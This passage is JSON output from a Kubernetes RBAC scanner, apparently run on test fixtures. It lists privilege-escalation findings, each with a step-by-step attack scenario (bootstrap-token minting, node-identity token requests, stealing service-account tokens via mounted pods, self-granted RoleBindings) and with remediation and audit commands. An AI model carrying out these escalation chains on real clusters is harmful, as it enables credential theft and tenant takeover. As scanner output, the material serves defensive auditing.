        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-secret-mint:namespace_admin:deepchain-tenant",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can reach **namespace-admin in `deepchain-tenant`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a privesc path that ends at namespace-admin inside `deepchain-tenant`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `deepchain-tenant` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/deepchain-tenant/deepchain-binder` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder\n  4. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "deepchain-tenant",
      "namespace": "deepchain-tenant"
    },
    "namespace": "deepchain-tenant",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → namespace-admin in `deepchain-tenant`: every workload, Secret, and ConfigMap inside `deepchain-tenant` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-secret-mint` yields full takeover of `deepchain-tenant`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-secret-mint` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/deepchain-tenant/deepchain-binder` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `deepchain-tenant`. They read every Secret and ConfigMap in `deepchain-tenant`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "deepchain-tenant",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `deepchain-tenant`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n deepchain-tenant --as=system:serviceaccount:privesc-fixtures:sa-secret-mint` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `deepchain-tenant` granting RBAC writes: `kubectl get role -n deepchain-tenant -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `deepchain-tenant` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount deepchain-tenant/deepchain-binder",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN:ServiceAccount/privesc-fixtures/sa-secret-mint:namespace_admin:rbac-ns-fixtures",
    "rule_id": "KUBE-PRIVESC-PATH-NAMESPACE-ADMIN",
    "severity": "HIGH",
    "score": 6.5,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can reach **namespace-admin in `rbac-ns-fixtures`** in 4 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a privesc path that ends at namespace-admin inside `rbac-ns-fixtures`. The chain leans on a namespace-scoped RBAC primitive — typically `create rolebindings` (KUBE-PRIVESC-010) or `bind/escalate roles` (KUBE-PRIVESC-009) granted by a `RoleBinding` — which lets the subject bind itself (or any subject it controls) to a powerful ClusterRole *within this namespace*. The result is full API control inside `rbac-ns-fixtures` but, importantly, it does **not** by itself reach cluster-admin: the binding cannot mutate cluster-scoped resources, and the bound ClusterRole's verbs apply only inside the binding's namespace.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `ServiceAccount/rbac-fixtures/sa-pod-create` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there\n  3. `ServiceAccount/rbac-fixtures/sa-pod-create` → `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate\n  4. `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention\n\nNamespace-admin is a real and frequently underweighted privesc class. In multi-tenant clusters where each tenant lives in its own namespace, namespace-admin == tenant takeover: every other tenant workload running in the same namespace, every Secret stored there, every PVC bound there. It also commonly chains *out* of the namespace — a controller's ServiceAccount inside this namespace may be cluster-scoped, and once the attacker can mint a binding for it locally they can pivot via that SA's cluster-wide reach. Treat namespace-admin findings as one investigation away from cluster-admin, not as \"safe because bounded\".",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "Namespace",
      "name": "rbac-ns-fixtures",
      "namespace": "rbac-ns-fixtures"
    },
    "namespace": "rbac-ns-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → namespace-admin in `rbac-ns-fixtures`: every workload, Secret, and ConfigMap inside `rbac-ns-fixtures` becomes attacker-controlled"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-secret-mint` yields full takeover of `rbac-ns-fixtures`: every Secret/ConfigMap is readable, every pod is exec-able, every workload runs as whatever ServiceAccount the attacker chooses. If any in-namespace ServiceAccount is itself bound cluster-wide (controllers, operators, sidecars with elevated SAs), this also becomes a stepping stone to cluster-admin.",
    "attack_scenario": [
      "Attacker compromises any workload or credential bound to `ServiceAccount/privesc-fixtures/sa-secret-mint` (RCE, leaked token, malicious image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/rbac-fixtures/sa-pod-create` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/rbac-fixtures/sa-pod-create`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-pod-create`, the attacker creates a pod that mounts the `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` ServiceAccount and then reads `/var/run/secrets/kubernetes.io/serviceaccount/token` from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.",
      "Acting as `ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: the attacker holds an identity that can `verbs:[*]` on `resources:[*]` inside `rbac-ns-fixtures`. They read every Secret and ConfigMap in `rbac-ns-fixtures`, exec into every pod, mount every PersistentVolume, and plant a backdoor RoleBinding (or a privileged DaemonSet on a namespace-scoped tenant operator) for persistence."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. pod_create_token_theft [create pods]",
        "4. modify_role_binding [create/update rolebindings + bind (cluster)roles]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 4,
      "target": "namespace_admin",
      "target_namespace": "rbac-ns-fixtures",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "pod_create_token_theft",
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop and tighten RBAC writes inside `rbac-ns-fixtures`: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain with `kubectl auth can-i create rolebindings -n rbac-ns-fixtures --as=system:serviceaccount:privesc-fixtures:sa-secret-mint` (and `bind/escalate` on roles) — both should return `no` for any non-admin workload.",
      "Identify the lowest-cost hop to break (typically remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 4 (`ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Audit Roles in `rbac-ns-fixtures` granting RBAC writes: `kubectl get role -n rbac-ns-fixtures -o json | jq '.items[] | select(.rules[]? | .resources[]? | contains(\"rolebindings\") or contains(\"roles\"))'`. Most workloads should have zero RBAC write rights.",
      "Move RBAC management to GitOps (Argo CD/Flux) so any RoleBinding change requires a PR. The GitOps controller should be the only namespace-local identity with RBAC write access.",
      "Wire admission policy: a Kyverno or OPA Gatekeeper rule that fails any new RoleBinding in `rbac-ns-fixtures` whose `roleRef` points at `cluster-admin`, `admin`, or any ClusterRole matching `*system:*` outside an explicit allowlist."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Kubernetes — RBAC: Restrictions on role-binding creation/update",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/rbac/#restrictions-on-role-binding-creation-or-update"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount rbac-fixtures/sa-pod-create, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "pod_create_token_theft",
        "technique": "KUBE-PRIVESC-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pod-create",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "permission": "create pods",
        "gains": "can create pods that mount ServiceAccount rbac-ns-fixtures/sa-ns-rolebinding-mutate",
        "source_binding": "crb-pod-create",
        "source_role": "cr-pod-create"
      },
      {
        "step": 4,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ns-rolebinding-mutate",
          "namespace": "rbac-ns-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace rbac-ns-fixtures, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "rbac-ns-fixtures"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:namespace_admin"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/privesc-fixtures/sa-ephemeral:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.45,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-ephemeral` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-ephemeral` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `ephemeral_container_inject` (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa\n  2. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-ephemeral",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-ephemeral` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-ephemeral` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-ephemeral`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-ephemeral`, the attacker uses the `ephemeral_container_inject` technique to reach `ServiceAccount/foothold-exec/foothold-decoy-sa` via `update,patch pods/ephemeralcontainers`, which gains can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa.",
      "Acting as `ServiceAccount/foothold-exec/foothold-decoy-sa`, the attacker uses the `secret_mint_token` technique via `create + get secrets (cluster-wide)`, which gains can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. ephemeral_container_inject [update,patch pods/ephemeralcontainers]",
        "2. secret_mint_token [create + get secrets (cluster-wide)]"
      ],
      "first_action": "ephemeral_container_inject",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "ephemeral_container_inject",
        "secret_mint_token"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-decoy-sa`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `update,patch pods/ephemeralcontainers` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-ephemeral` → `ServiceAccount/foothold-exec/foothold-decoy-sa`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "ephemeral_container_inject",
        "technique": "KUBE-PRIVESC-013",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-ephemeral",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "update,patch pods/ephemeralcontainers",
        "gains": "can inject an ephemeral container into pods running as ServiceAccount foothold-exec/foothold-decoy-sa",
        "source_binding": "crb-ephemeral",
        "source_role": "cr-ephemeral"
      },
      {
        "step": 2,
        "action": "secret_mint_token",
        "technique": "KUBE-PRIVESC-007",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create + get secrets (cluster-wide)",
        "gains": "can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/privesc-fixtures/sa-pod-create-escape:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "HIGH",
    "score": 6.45,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-pod-create-escape` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-pod-create-escape` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/privesc-fixtures/sa-pod-create-escape` → `ServiceAccount/privesc-fixtures/sa-secret-mint` via `pod_create_token_theft` (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `secret_mint_token` (create + get secrets (cluster-wide)): can create a legacy ServiceAccount-token Secret and read the minted token for any ServiceAccount",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
